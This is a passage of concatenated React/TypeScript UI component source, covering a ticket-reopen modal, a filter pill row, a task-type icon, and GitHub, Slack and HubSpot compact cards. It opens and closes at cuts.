...(showHandoffOption ? { handoffToTechnician: handoff } : {}),\n    });\n  };\n\n  return (\n    <ModalV2 isOpen={isOpen} onClose={isPending ? () => {} : onClose} className=\"text-left md:max-w-[600px]\">\n      <ModalV2Header>\n        <ModalV2Title>Reopen Ticket</ModalV2Title>\n      </ModalV2Header>\n\n      <p className=\"text-h4 text-ods-text-primary\">\n        This ticket will be reopened and the AI assistant will continue helping you.\n      </p>\n\n      <div className=\"w-full\">\n        <Textarea\n          label=\"Reason\"\n          value={reason}\n          onChange={event => setReason(event.target.value)}\n          placeholder=\"Describe what's still not working (optional)\"\n          maxLength={REASON_MAX_LENGTH}\n          disabled={isPending}\n        />\n      </div>\n\n      {showHandoffOption && (\n        <CheckboxBlock\n          id=\"reopen-handoff-to-technician\"\n          checked={handoff}\n          onCheckedChange={setHandoff}\n          label=\"Hand off to a Technician\"\n          description=\"A technician will review the ticket and reply when available.\"\n          disabled={isPending}\n        />\n      )}\n\n      <ModalV2Footer>\n        <Button type=\"button\" variant=\"outline\" onClick={onClose} disabled={isPending} className=\"flex-1\">\n          Cancel\n        </Button>\n        <Button type=\"button\" variant=\"accent\" onClick={handleConfirm} loading={isPending} className=\"flex-1\">\n          Reopen Ticket\n        </Button>\n      </ModalV2Footer>\n    </ModalV2>\n  );\n}\n","'use client'\n\n/**\n * Shared filter section wrapper with responsive layout.\n *\n * Provides the consistent card container for any filter row (status,\n * platform, section, etc.) Single row on desktop with flex-wrap,\n * stacks naturally on mobile.\n *\n * Lifted from hub `components/admin/shared/filter-section.tsx` so\n * lib catalog views can render their own filter pills without an\n * injected slot.\n */\n\nimport { Filter } from 'lucide-react'\nimport { Button } from './button'\n\nexport interface FilterPillRowOption {\n  value: string\n  label: string\n}\n\nexport interface FilterPillRowProps {\n  /** Label shown next to the filter icon, e.g. \"Section\", \"Platform\". */\n  label: string\n  /** The currently selected filter value. */\n  selectedValue: string\n  /** Callback when a filter option is selected. */\n  onValueChange: (value: string) => void\n  /** Available filter options. */\n  options: FilterPillRowOption[]\n  /** Optional count label, e.g. \"Showing 1-10 of 42 items\". */\n  countLabel?: string\n  /** Optional children to render instead of options (for custom filter content). */\n  children?: React.ReactNode\n}\n\nexport function FilterPillRow({\n  label,\n  selectedValue,\n  onValueChange,\n  options,\n  countLabel,\n  children,\n}: FilterPillRowProps) {\n  return (\n    <div className=\"flex flex-wrap items-center gap-3 p-4 bg-ods-card border border-ods-border rounded-lg\">\n      <div className=\"flex items-center gap-2\">\n        <Filter className=\"h-4 w-4 text-ods-accent\" />\n        <span className=\"text-h5 text-ods-text-secondary\">{label}</span>\n      </div>\n      {children ||\n        options.map((opt) => (\n          <Button\n            key={opt.value}\n            type=\"button\"\n            variant={selectedValue === opt.value ? 'accent' : 'outline'}\n            size=\"small-legacy\"\n            onClick={() => onValueChange(opt.value)}\n            className=\"text-h3\"\n          >\n            {opt.label}\n          </Button>\n        ))}\n      {countLabel && (\n        <div className=\"ml-auto text-h6 text-ods-text-secondary shrink-0\">\n          {countLabel}\n        </div>\n      )}\n    </div>\n  )\n}\n","'use client'\n\n/**\n * Per-type icon for a ClickUp task — driven by `custom_item_id` via the\n * canonical `CUSTOM_ITEM_ID` map in `../utils/clickup-task-type-utils`.\n *\n * Used by the roadmap entity card so the icon slot communicates the\n * task TYPE (Bug, Feature, Story, …) at a glance instead of falling\n * back to a generic logo / two-letter placeholder.\n */\n\nimport React from 'react'\nimport {\n  Bug,\n  Inbox,\n  Sparkles,\n  BookOpen,\n  Trophy,\n  Component,\n  Flag,\n  Goal,\n  ListTodo,\n  CheckSquare,\n  FileText,\n  Repeat,\n  Compass,\n  type LucideIcon,\n} from 'lucide-react'\nimport { CUSTOM_ITEM_ID } from '../utils/clickup-task-type-utils'\n\nfunction iconFor(customItemId: number | null | undefined): LucideIcon {\n  switch (customItemId) {\n    case CUSTOM_ITEM_ID.BUG:        return Bug\n    case CUSTOM_ITEM_ID.REQUEST:    return Inbox\n    case CUSTOM_ITEM_ID.FEATURE:    return Sparkles\n    case CUSTOM_ITEM_ID.STORY:      return BookOpen\n    case CUSTOM_ITEM_ID.EPIC:       return Trophy\n    case CUSTOM_ITEM_ID.COMPONENT:  return Component\n    case CUSTOM_ITEM_ID.INITIATIVE: return Flag\n    case CUSTOM_ITEM_ID.MILESTONE:  return Goal\n    case CUSTOM_ITEM_ID.SUBTASK:    return ListTodo\n    case CUSTOM_ITEM_ID.FORM:       return FileText\n    case CUSTOM_ITEM_ID.RECURRING:  return Repeat\n    case CUSTOM_ITEM_ID.PLAN:       return Compass\n    case CUSTOM_ITEM_ID.STRATEGY:   return Compass\n    case CUSTOM_ITEM_ID.TASK:\n    default:\n      return CheckSquare\n  }\n}\n\nexport interface TaskTypeIconProps {\n  customItemId: number | null | undefined\n  className?: string\n}\n\nexport function TaskTypeIcon({ customItemId, className = 'h-5 w-5' }: TaskTypeIconProps) {\n  const Icon = iconFor(customItemId)\n  return <Icon className={className} aria-hidden=\"true\" />\n}\n","'use client'\n\n/**\n * GitHub Activity Card — unified visual for commits, PRs, and PR reviews.\n *\n * PURE PRESENTATION (no internal nav, no internal data fetching). The card\n * receives the structured `<a>` prop bundle via `anchorProps` (composed by\n * the caller from a runtime hook) and renders the rest from the\n * `GitHubActivityItem` shape directly.\n *\n * Two consumers share this component:\n *   1. Activity-list row (employee detail / similar) — pass `variant=\"row\"`.\n *   2. Chat-inline `[card://github_commit:<sha>]` markers — `variant=\"compact\"`.\n *\n * Unified data shape `GitHubActivityItem` covers all three GitHub types\n * (commit / PR / review).\n */\n\nimport React from 'react'\nimport { GitHubIcon } from '../../icons/github-icon'\nimport { GitPullRequest, Eye, ExternalLink } from 'lucide-react'\nimport {\n  COMPACT_CARD_ICON_SLOT,\n  COMPACT_CARD_META_ROW,\n  COMPACT_CARD_META_ROW_BOX,\n  COMPACT_CARD_OUTER,\n  COMPACT_CARD_OUTER_STATIC,\n  COMPACT_CARD_ROW_FILLER,\n  COMPACT_CARD_SKELETON_IMAGE_SLOT,\n  COMPACT_CARD_SKELETON_OUTER,\n  COMPACT_CARD_SUMMARY,\n  COMPACT_CARD_TEXT_COL,\n  COMPACT_CARD_TITLE,\n  COMPACT_CARD_TITLE_ROW,\n  safeHref,\n} from '../utils/compact-card-classes'\nimport { formatDateUTC as formatDate } from '../../../utils/format'\nimport type {\n  GitHubActivityItem,\n  GitHubActivityKind,\n  PrReviewState,\n} from '../types/entities/github-activity'\n\n/** Extract owner/repo from a GitHub URL. */\nfunction parseRepoFromUrl(url: string | null | undefined): string | null {\n  if (!url) return null\n  try {\n    const u = new URL(url)\n    if (u.host !== 'github.com') return null\n    const parts = u.pathname.split('/').filter(Boolean)\n    if (parts.length >= 2) return `${parts[0]}/${parts[1]}`\n  } catch {\n    /* malformed URL */\n  }\n  return null\n}\n\nfunction kindIcon(kind: GitHubActivityKind, className = 'h-4 w-4') {\n  switch (kind) {\n    case 'pull_request':\n      return <GitPullRequest className={`${className} shrink-0`} />\n    case 'pr_review':\n      return <Eye className={`${className} shrink-0`} />\n    case 'commit':\n    default:\n      return <GitHubIcon className={`${className} shrink-0`} />\n  }\n}\n\nexport function kindLabel(kind: GitHubActivityKind): string {\n  switch (kind) {\n    case 'pull_request': return 'PR'\n    case 'pr_review': return 'Review'\n    case 'commit':\n    default: return 'Commit'\n  }\n}\n\nexport function formatActivityId(id: string, kind: GitHubActivityKind): string {\n  if (!id) return ''\n  if (kind === 'pull_request' || kind === 'pr_review') return `#${id}`\n  if (/^[0-9a-f]{40}$/i.test(id)) return id.slice(0, 7)\n  return id.length > 12 ? id.slice(0, 12) : id\n}\n\nexport function parseGithubTitle(title: string, kind: GitHubActivityKind): { display: string; reviewState: PrReviewState | null } {\n  if (!title) return { display: '', reviewState: null }\n\n  // Split prefix-tag from rest by hand instead of one giant regex.\n  // Avoids polynomial-redos on chained `\\s*` quantifiers (`\\[\\s*X\\s*\\]`),\n  // since multiple consecutive `\\s*` groups against long whitespace runs\n  // trigger exponential backtracking on CodeQL's heuristic.\n  //\n  // Algorithm: trim; if it starts with `[`, locate the matching `]`,\n  // then content[0:closing] is the tag, content[closing+1:] is the\n  // remainder. Linear scan — no regex backtracking possible.\n  const trimmed = title.trim()\n  let tag: string | null = null\n  let rest: string = trimmed\n  if (trimmed.startsWith('[')) {\n    const close = trimmed.indexOf(']')\n    if (close > 0) {\n      tag = trimmed.slice(1, close).trim().toLowerCase()\n      rest = trimmed.slice(close + 1).trim()\n    }\n  }\n\n  if (kind === 'pr_review' && tag && tag.startsWith('review:')) {\n    const stateRaw = tag.slice('review:'.length).trim().toUpperCase()\n    const reviewState = (['APPROVED', 'CHANGES_REQUESTED', 'COMMENTED', 'DISMISSED', 'PENDING'] as PrReviewState[]).includes(stateRaw as PrReviewState)\n      ? (stateRaw as PrReviewState)\n      : null\n    return { display: rest || 'Review', reviewState }\n  }\n  if (kind === 'pull_request' && tag && tag.startsWith('pr')) {\n    // Accept `[PR #123]`, `[PR#123]`, `[ pr # 123 ]` etc. — anything\n    // matching `pr` followed by `#?\\s*\\d+`. Validate the suffix is\n    // a numeric PR id, not arbitrary text.\n    const after = tag.slice(2).trim().replace(/^#\\s*/, '')\n    if (after.length > 0 && /^\\d+$/.test(after)) {\n      return { display: rest || title, reviewState: null }\n    }\n  }\n  if (kind === 'commit' && tag === 'commit') {\n    return { display: rest || title, reviewState: null }\n  }\n  return { display: title.trim(), reviewState: null }\n}\n\nconst REVIEW_STATE_STYLE: Record<PrReviewState, { label: string; className: string }> = {\n  APPROVED: {\n    label: 'Approved',\n    className: 'bg-ods-success-secondary text-ods-success',\n  },\n  CHANGES_REQUESTED: {\n    label: 'Changes',\n    className: 'bg-ods-error-secondary text-ods-error',\n  },\n  COMMENTED: {\n    label: 'Comment',\n    className: 'bg-ods-bg-surface text-ods-text-primary',\n  },\n  DISMISSED: {\n    label: 'Dismissed',\n    className: 'bg-ods-bg-surface text-ods-text-secondary',\n  },\n  PENDING: {\n    label: 'Pending',\n    className: 'bg-ods-warning-secondary text-ods-warning',\n  },\n}\n\n/** Short review-state label (\"APPROVED\" → \"Approved\") shared with the\n *  MingoInfoCard dispatch mapping so both surfaces read identically. */\nexport function reviewStateLabel(state: PrReviewState): string {\n  return (REVIEW_STATE_STYLE[state] ?? REVIEW_STATE_STYLE.COMMENTED).label\n}\n\nfunction ReviewStateBadge({ state, className = '' }: { state: PrReviewState; className?: string }) {\n  const { label, className: paint } = REVIEW_STATE_STYLE[state] ?? REVIEW_STATE_STYLE.COMMENTED\n  return (\n    <span\n      className={`inline-flex items-center rounded px-1.5 py-0.5 text-h5 shrink-0 ${paint} ${className}`}\n    >\n      {label}\n    </span>\n  )\n}\n\nexport interface GitHubActivityCardAnchorProps {\n  href: string\n  target?: '_blank'\n  rel?: 'noopener noreferrer'\n  onClick?: (e: React.MouseEvent<HTMLAnchorElement>) => void\n}\n\nexport interface GitHubActivityCardProps {\n  item: GitHubActivityItem\n  variant?: 'row' | 'compact'\n  className?: string\n  /** Pre-composed `<a>` prop bundle (typically from a `useNavLink` hook in\n   *  the consumer). When provided, the outer renders as a real `<a>`. */\n  anchorProps?: GitHubActivityCardAnchorProps\n}\n\nexport function GitHubActivityCard({ item, variant = 'compact', className, anchorProps }: GitHubActivityCardProps) {\n  const kind = item.kind ?? 'commit'\n  const repo = item.repo ?? parseRepoFromUrl(item.url) ?? ''\n  const dateText = formatDate(item.dateUpdated, { fallback: '', timezone: 'local' })\n  const idLabel = formatActivityId(item.id, kind)\n  const { display: title, reviewState } = parseGithubTitle(item.title, kind)\n  const primaryText = kind === 'pr_review'\n    ? (title.replace(/^by\\s+/i, '').trim() || 'Reviewer')\n    : title\n\n  if (variant === 'row') {\n    return (\n      <div className={`flex items-center gap-3 min-w-0 ${className ?? ''}`}>\n        <span className=\"flex items-center gap-2 w-28 shrink-0\">\n          {kindIcon(kind, 'h-3.5 w-3.5')}\n          <code className=\"text-ods-text-secondary text-code truncate\">{idLabel}</code>\n        </span>\n        <span className=\"flex items-center gap-2 text-ods-text-primary text-h6 flex-1 min-w-0\">\n          {reviewState ? <ReviewStateBadge state={reviewState} /> : null}\n          <span className=\"truncate\">{primaryText}</span>\n        </span>\n        {repo ? (\n          <span className=\"text-code text-ods-text-secondary truncate max-w-[240px] shrink-0\">{repo}</span>\n        ) : null}\n        {dateText ? (\n          <span className=\"text-ods-text-secondary text-h6 w-24 shrink-0 text-right\">{dateText}</span>\n        ) : null}\n      </div>\n    )\n  }\n\n  const metaParts: React.ReactNode[] = []\n  metaParts.push(\n    <span key=\"kind\" className=\"text-h6 uppercase\">{kindLabel(kind)}</span>,\n  )\n  if (idLabel) metaParts.push(<code key=\"id\" className=\"font-mono\">{idLabel}</code>)\n  if (repo) metaParts.push(<span key=\"repo\" className=\"font-mono truncate\">{repo}</span>)\n  if (dateText) metaParts.push(<span key=\"date\" className=\"whitespace-nowrap\">{dateText}</span>)\n\n  const href = safeHref(item.url)\n  const body = (\n    <>\n      <span className={COMPACT_CARD_ICON_SLOT}>\n        {kindIcon(kind, 'h-5 w-5')}\n      </span>\n      <span className={COMPACT_CARD_TEXT_COL}>\n        <span className={`${COMPACT_CARD_TITLE_ROW} flex-nowrap gap-1.5`}>\n          {reviewState ? <ReviewStateBadge state={reviewState} /> : null}\n          <span className={COMPACT_CARD_TITLE}>{primaryText}</span>\n        </span>\n        <span className={COMPACT_CARD_META_ROW_BOX}>\n          <span className={COMPACT_CARD_META_ROW}>\n            {metaParts.map((part, i) => (\n              <React.Fragment key={i}>\n                {i > 0 ? <span className=\"text-ods-text-secondary/40 shrink-0\">·</span> : null}\n                <span className=\"min-w-0 truncate\">{part}</span>\n              </React.Fragment>\n            ))}\n          </span>\n        </span>\n        <span className={COMPACT_CARD_META_ROW_BOX}>\n          <span className={COMPACT_CARD_SUMMARY}>{COMPACT_CARD_ROW_FILLER}</span>\n        </span>\n      </span>\n      {href ? (\n        <span className=\"flex shrink-0 items-center self-start h-5 text-ods-text-secondary\">\n          <ExternalLink className=\"w-3.5 h-3.5\" />\n        </span>\n      ) : null}\n    </>\n  )\n  if (anchorProps) {\n    return (\n      <a {...anchorProps} className={`${COMPACT_CARD_OUTER} ${className ?? ''}`}>\n        {body}\n      </a>\n    )\n  }\n  return href ? (\n    <a\n      href={href}\n      target=\"_blank\"\n      rel=\"noopener noreferrer\"\n      className={`${COMPACT_CARD_OUTER} ${className ?? ''}`}\n    >\n      {body}\n    </a>\n  ) : (\n    <span className={`${COMPACT_CARD_OUTER_STATIC} ${className ?? ''}`} aria-label=\"No link available\">{body}</span>\n  )\n}\n\nexport function GitHubActivityCardSkeleton({ variant = 'compact', className }: { variant?: 'row' | 'compact'; className?: string }) {\n  if (variant === 'row') {\n    return (\n      <div className={`flex items-center gap-3 min-w-0 animate-pulse ${className ?? ''}`}>\n        <div className=\"flex items-center gap-2 w-28 shrink-0\">\n          <div className=\"h-3.5 w-3.5 rounded bg-ods-bg\" />\n          <div className=\"h-3 w-16 bg-ods-bg rounded\" />\n        </div>\n        <div className=\"h-3 w-2/3 bg-ods-bg rounded flex-1\" />\n        <div className=\"h-3 w-40 bg-ods-bg/60 rounded shrink-0\" />\n        <div className=\"h-3 w-20 bg-ods-bg/60 rounded shrink-0\" />\n      </div>\n    )\n  }\n  return (\n    <span className={`${COMPACT_CARD_SKELETON_OUTER} ${className ?? ''}`}>\n      <span className={COMPACT_CARD_SKELETON_IMAGE_SLOT} />\n      <span className={COMPACT_CARD_TEXT_COL}>\n        <span className={COMPACT_CARD_TITLE_ROW}>\n          <span className=\"h-3.5 w-2/3 rounded bg-ods-bg\" />\n        </span>\n        <span className={COMPACT_CARD_META_ROW_BOX}>\n          <span className=\"h-3 w-1/2 rounded bg-ods-bg/70\" />\n        </span>\n        <span className={COMPACT_CARD_META_ROW_BOX}>\n          <span className={COMPACT_CARD_SUMMARY}>{COMPACT_CARD_ROW_FILLER}</span>\n        </span>\n      </span>\n      <span className=\"flex shrink-0 items-center self-start h-5\">\n        <span className=\"h-3.5 w-3.5 rounded bg-ods-bg\" />\n      </span>\n    </span>\n  )\n}\n","'use client'\n\n/**\n * Slack Message Card — unified visual for slack-messages markers.\n *\n * PURE PRESENTATION (no internal nav). The card receives the structured\n * `<a>` prop bundle via `anchorProps` (composed by the caller from a\n * runtime hook) and renders the rest from the `SlackMessageItem` shape\n * directly.\n */\n\nimport React from 'react'\nimport { SlackIcon } from '../../icons/slack-icon'\nimport { ExternalLink, Hash } from 'lucide-react'\nimport {\n  COMPACT_CARD_ICON_SLOT,\n  COMPACT_CARD_META_ROW,\n  COMPACT_CARD_META_ROW_BOX,\n  COMPACT_CARD_OUTER,\n  COMPACT_CARD_OUTER_STATIC,\n  COMPACT_CARD_ROW_FILLER,\n  COMPACT_CARD_SKELETON_IMAGE_SLOT,\n  COMPACT_CARD_SKELETON_OUTER,\n  COMPACT_CARD_SUMMARY,\n  COMPACT_CARD_TEXT_COL,\n  COMPACT_CARD_TITLE,\n  COMPACT_CARD_TITLE_ROW,\n  safeHref,\n} from '../utils/compact-card-classes'\nimport { formatDateUTC as formatDate } from '../../../utils/format'\nimport type { SlackMessageItem } from '../types/entities/slack-message'\n\nexport interface SlackMessageCardAnchorProps {\n  href: string\n  target?: '_blank'\n  rel?: 'noopener noreferrer'\n  onClick?: (e: React.MouseEvent<HTMLAnchorElement>) => void\n}\n\nexport interface SlackMessageCardProps {\n  item: SlackMessageItem\n  variant?: 'row' | 'compact'\n  className?: string\n  anchorProps?: SlackMessageCardAnchorProps\n}\n\nfunction parseChannelFromUrl(url: string | null | undefined): string | null {\n  if (!url) return null\n  try {\n    const u = new URL(url)\n    if (!u.host.endsWith('.slack.com')) return null\n    const parts = u.pathname.split('/').filter(Boolean)\n    const archivesIdx = parts.indexOf('archives')\n    if (archivesIdx !== -1 && parts.length > archivesIdx + 1) return parts[archivesIdx + 1]\n  } catch {\n    /* malformed URL */\n  }\n  return null\n}\n\nexport function SlackMessageCard({ item, variant = 'compact', className, anchorProps }: SlackMessageCardProps) {\n  const channel = item.channel ?? parseChannelFromUrl(item.url) ?? null\n  const dateText = formatDate(item.dateUpdated, { fallback: '', timezone: 'local' })\n\n  if (variant === 'row') {\n    return (\n      <div className={`flex items-center gap-3 min-w-0 ${className ?? ''}`}>\n        <SlackIcon className=\"h-3.5 w-3.5 shrink-0\" />\n        <span className=\"text-ods-text-primary text-h6 truncate max-w-[180px] shrink-0\">{item.title}</span>\n        {item.preview ? (\n          <span className=\"text-ods-text-secondary text-h6 flex-1 min-w-0 truncate\">{item.preview}</span>\n        ) : null}\n        {channel ? (\n          <span className=\"text-code text-ods-text-secondary truncate max-w-[140px] shrink-0\">\n            <Hash className=\"inline h-3 w-3\" />\n            {channel}\n          </span>\n        ) : null}\n        {dateText ? (\n          <span className=\"text-ods-text-secondary text-h6 w-24 shrink-0 text-right\">{dateText}</span>\n        ) : null}\n      </div>\n    )\n  }\n\n  const metaParts: React.ReactNode[] = []\n  if (channel) {\n    metaParts.push(\n      <span key=\"channel\" className=\"flex items-center gap-0.5 min-w-0\">\n        <Hash className=\"h-3 w-3 shrink-0\" />\n        <span className=\"truncate font-mono\">{channel}</span>\n      </span>,\n    )\n  }\n  if (dateText) metaParts.push(<span key=\"date\" className=\"whitespace-nowrap\">{dateText}</span>)\n\n  const href = safeHref(item.url)\n  const body = (\n    <>\n      <span className={COMPACT_CARD_ICON_SLOT}>\n        <SlackIcon className=\"h-5 w-5\" />\n      </span>\n      <span className={COMPACT_CARD_TEXT_COL}>\n        <span className={COMPACT_CARD_TITLE_ROW}>\n          <span className={COMPACT_CARD_TITLE}>{item.title}</span>\n        </span>\n        <span className={COMPACT_CARD_META_ROW_BOX}>\n          <span className={COMPACT_CARD_SUMMARY}>\n            {item.preview || COMPACT_CARD_ROW_FILLER}\n          </span>\n        </span>\n        <span className={COMPACT_CARD_META_ROW_BOX}>\n          <span className={COMPACT_CARD_META_ROW}>\n            {metaParts.length > 0 ? metaParts.map((part, i) => (\n              <React.Fragment key={i}>\n                {i > 0 ? <span className=\"text-ods-text-secondary/40 shrink-0\">·</span> : null}\n                <span className=\"min-w-0 truncate\">{part}</span>\n              </React.Fragment>\n            )) : <span className={COMPACT_CARD_SUMMARY}>{COMPACT_CARD_ROW_FILLER}</span>}\n          </span>\n        </span>\n      </span>\n      {href ? (\n        <span className=\"flex shrink-0 items-center self-start h-5 text-ods-text-secondary\">\n          <ExternalLink className=\"w-3.5 h-3.5\" />\n        </span>\n      ) : null}\n    </>\n  )\n  if (anchorProps) {\n    return (\n      <a {...anchorProps} className={`${COMPACT_CARD_OUTER} ${className ?? ''}`}>\n        {body}\n      </a>\n    )\n  }\n  return href ? (\n    <a\n      href={href}\n      target=\"_blank\"\n      rel=\"noopener noreferrer\"\n      className={`${COMPACT_CARD_OUTER} ${className ?? ''}`}\n    >\n      {body}\n    </a>\n  ) : (\n    <span className={`${COMPACT_CARD_OUTER_STATIC} ${className ?? ''}`} aria-label=\"No link available\">{body}</span>\n  )\n}\n\nexport function SlackMessageCardSkeleton({ variant = 'compact', className }: { variant?: 'row' | 'compact'; className?: string }) {\n  if (variant === 'row') {\n    return (\n      <div className={`flex items-center gap-3 min-w-0 animate-pulse ${className ?? ''}`}>\n        <div className=\"h-3.5 w-3.5 rounded bg-ods-bg shrink-0\" />\n        <div className=\"h-3 w-32 bg-ods-bg rounded shrink-0\" />\n        <div className=\"h-3 w-2/3 bg-ods-bg/60 rounded flex-1\" />\n        <div className=\"h-3 w-24 bg-ods-bg/60 rounded shrink-0\" />\n        <div className=\"h-3 w-20 bg-ods-bg/60 rounded shrink-0\" />\n      </div>\n    )\n  }\n  return (\n    <span className={`${COMPACT_CARD_SKELETON_OUTER} ${className ?? ''}`}>\n      <span className={COMPACT_CARD_SKELETON_IMAGE_SLOT} />\n      <span className={COMPACT_CARD_TEXT_COL}>\n        <span className={COMPACT_CARD_TITLE_ROW}>\n          <span className=\"h-3.5 w-2/3 rounded bg-ods-bg\" />\n        </span>\n        <span className={COMPACT_CARD_META_ROW_BOX}>\n          <span className=\"h-3 w-5/6 rounded bg-ods-bg/60\" />\n        </span>\n        <span className={COMPACT_CARD_META_ROW_BOX}>\n          <span className=\"h-3 w-1/3 rounded bg-ods-bg/70\" />\n        </span>\n      </span>\n      <span className=\"flex shrink-0 items-center self-start h-5\">\n        <span className=\"h-3.5 w-3.5 rounded bg-ods-bg\" />\n      </span>\n    </span>\n  )\n}\n","'use client'\n\n/**\n * HubSpot Ticket Card — unified visual for hubspot-tickets markers.\n *\n * PURE PRESENTATION (no internal nav). The card receives the structured\n * `<a>` prop bundle via `anchorProps` (composed by the caller from a\n * runtime hook) and renders the rest from the `HubspotTicketItem` shape\n * directly.\n */\n\nimport React from 'react'\nimport { ExternalLink } from 'lucide-react'\nimport { StatusBadge } from '../../ui/status-badge'\nimport {\n  COMPACT_CARD_META_ROW,\n  COMPACT_CARD_META_ROW_BOX,\n  COMPACT_CARD_OUTER,\n  COMPACT_CARD_OUTER_STATIC,\n  COMPACT_CARD_SKELETON_OUTER,\n  COMPACT_CARD_TEXT_COL,\n  COMPACT_CARD_TITLE,\n  safeHref,\n} from '../utils/compact-card-classes'\nimport { formatDateUTC as formatDate } from '../../../utils/format'\nimport type { HubspotTicketItem } from '../types/entities/hubspot-ticket'\n\nexport interface HubspotTicketCardAnchorProps {\n  href: string\n  target?: '_blank'\n  rel?: 'noopener noreferrer'\n  onClick?: (e: React.MouseEvent<HTMLAnchorElement>) => void\n}\n\nexport interface HubspotTicketCardProps {\n  item: HubspotTicketItem\n  variant?: 'row' | 'compact'\n  className?: string\n  anchorProps?: HubspotTicketCardAnchorProps\n}\n\nfunction formatToken(token: string | null | undefined): string | null {\n  if (!token) return null\n  const lower = token.toLowerCase().replace(/_/g, ' ')\n  return lower.charAt(0).toUpperCase() + lower.slice(1)\n}\n\ntype BadgeScheme = 'success' | 'error' | 'warning' | 'cyan' | 'default'\n\nfunction priorityScheme(priority: string | null | undefined): BadgeScheme {\n  const p = (priority || '').toUpperCase()\n  if (p === 'URGENT') return 'error'\n  if (p === 'HIGH') return 'warning'\n  if (p === 'MEDIUM') return 'cyan'\n  return 'default'\n}\n\nfunction statusScheme(status: string | null | undefined): BadgeScheme {\n  const s = (status || '').toUpperCase()\n  if (s === 'CLOSED') return 'success'\n  if (s === 'OPEN') return 'warning'\n  return 'default'\n}\n\nexport function HubspotTicketCard({ item, variant = 'compact', className, anchorProps }: HubspotTicketCardProps) {\n  const statusText = item.statusLabel ?? formatToken(item.status)\n  const priorityText = formatToken(item.priority)\n  const dateText = formatDate(item.dateUpdated, { fallback: '', timezone: 'local' })\n\n  if (variant === 'row') {\n    return (\n      <div className={`flex items-center gap-3 min-w-0 ${className ?? ''}`}>\n        <span className=\"text-ods-text-primary text-h6 truncate max-w-[260px] shrink-0\">{item.title}</span>\n        {item.preview ? (\n          <span className=\"text-ods-text-secondary text-h6 flex-1 min-w-0 truncate\">{item.preview}</span>\n        ) : null}\n        {statusText ? (\n          <StatusBadge text={statusText} variant=\"button\" colorScheme={statusScheme(item.status)} />\n        ) : null}\n        {dateText ? (\n          <span className=\"text-ods-text-secondary text-h6 w-24 shrink-0 text-right\">{dateText}</span>\n        ) : null}\n      </div>\n    )\n  }\n\n  const metaParts: React.ReactNode[] = []\n  if (item.customerCompany) {\n    metaParts.push(\n      <span key=\"company\" className=\"min-w-0 truncate\">{item.customerCompany}</span>,\n    )\n  }\n  if (dateText) metaParts.push(<span key=\"date\" className=\"whitespace-nowrap\">{dateText}</span>)\n\n  const href = safeHref(item.url)\n  const body = (\n    <>\n      <span className={COMPACT_CARD_TEXT_COL}>\n        <span className=\"flex flex-wrap items-center gap-1.5 min-w-0\">\n          <span className={`${COMPACT_CARD_TITLE} shrink min-w-0`}>{item.title}</span>\n          {priorityText ? (\n            <StatusBadge\n              text={priorityText}\n              variant=\"button\"\n              colorScheme={priorityScheme(item.priority)}\n              className=\"shrink-0\"\n            />\n          ) : null}\n          {statusText ? (\n            <StatusBadge\n              text={statusText}\n              variant=\"button\"\n              colorScheme={statusScheme(item.status)}\n              className=\"shrink-0\"\n            />\n          ) : null}\n        </span>\n        {item.customerEmail ? (\n          <span className=\"flex min-w-0 items-center gap-1 text-h6 text-ods-text-secondary\">\n            <span className=\"shrink-0 text-ods-text-secondary/70\">From:</span>\n            <span className=\"min-w-0 truncate\">{item.customerEmail}</span>\n          </span>\n        ) : null}\n        <span className=\"flex min-w-0\">\n          <span className=\"line-clamp-4 whitespace-pre-wrap break-words text-h6 text-ods-text-secondary\">\n            {item.preview || <span className=\"italic text-ods-text-secondary/60\">No description provided.</span>}\n          </span>\n        </span>\n        {metaParts.length > 0 ? (\n          <span className={COMPACT_CARD_META_ROW_BOX}>\n            <span className={COMPACT_CARD_META_ROW}>\n              {metaParts.map((part, i) => (\n                <React.Fragment key={i}>\n                  {i > 0 ? <span className=\"text-ods-text-secondary/40 shrink-0\">·</span> : null}\n                  <span className=\"min-w-0 truncate\">{part}</span>\n                </React.Fragment>\n              ))}\n            </span>\n          </span>\n        ) : null}\n      </span>\n      {href ? (\n        <span className=\"flex shrink-0 items-center self-start h-5 text-ods-text-secondary\">\n          <ExternalLink className=\"w-3.5 h-3.5\" />\n        </span>\n      ) : null}\n    </>\n  )\n  if (anchorProps) {\n    return (\n      <a {...anchorProps} className={`${COMPACT_CARD_OUTER} ${className ?? ''}`}>\n        {body}\n      </a>\n    )\n  }\n  return href ? (\n    <a\n      href={href}\n      target=\"_blank\"\n      rel=\"noopener noreferrer\"\n      className={`${COMPACT_CARD_OUTER} ${className ?? ''}`}\n    >\n      {body}\n    </a>\n  ) : (\n    <span className={`${COMPACT_CARD_OUTER_STATIC} ${className ?? ''}`} aria-label=\"No link available\">{body}</span>\n  )\n}\n\nexport function HubspotTicketCardSkeleton({ variant = 'compact', className }: { variant?: 'row' | 'compact'; className?: string }) {\n  if (variant === 'row') {\n    return (\n      <div className={`flex items-center gap-3 min-w-0 animate-pulse ${className ?? ''}`}>\n        <div className=\"h-3 w-40 bg-ods-bg rounded shrink-0\" />\n        <div className=\"h-3 w-2/3 bg-ods-bg/60 rounded flex-1\" />\n        <div className=\"h-3 w-16 bg-ods-bg/60 rounded shrink-0\" />\n        <div className=\"h-3 w-20 bg-ods-bg/60 rounded shrink-0\" />\n      </div>\n    )\n  }\n  return (\n    <span className={`${COMPACT_CARD_SKELETON_OUTER} ${className ?? ''}`}>\n      <span className={COMPACT_CARD_TEXT_COL}>\n        <span className=\"flex flex-wrap items-center gap-1.5 min-w-0\">\n          <span className=\"h-3.5 w-2/3 rounded bg-ods-bg\" />\n          <span className=\"h-4 w-12 rounded-full bg-ods-bg/60\" />\n          <span className=\"h-4 w-16 rounded-full bg-ods-bg/60\" />\n        </span>\n        <span className=\"h-4 w-1/2 rounded bg-ods-bg/60\" />\n        <span className=\"flex flex-col gap-0 min-w-0\">\n          <span className=\"h-5 w-5/6 rounded bg-ods-bg/60\" />\n          <span className=\"h-5 w-4/6 rounded bg-ods-bg/60\" />\n          <span className=\"h-5 w-3/4 rounded bg-ods-bg/60\" />\n          <span className=\"h-5 w-2/5 rounded bg-ods-bg/60\" />\n        </span>\n        <span className={COMPACT_CARD_META_ROW_BOX}>\n          <span className=\"h-3 w-1/3 rounded bg-ods-bg/70\" />\n        </span>\n      </span>\n      <span className=\"flex shrink-0 items-center self-start h-5\">\n        <span className=\"h-3.5 w-3.5 rounded bg-ods-bg\" />\n      </span>\n    </span>\n  )\n}\n","'use client'\n\n/**\n * Data-room / OpenFrame-docs inline chat card.\n *\n * PURE PRESENTATION. The card receives a pre-composed `<a>` prop bundle\n 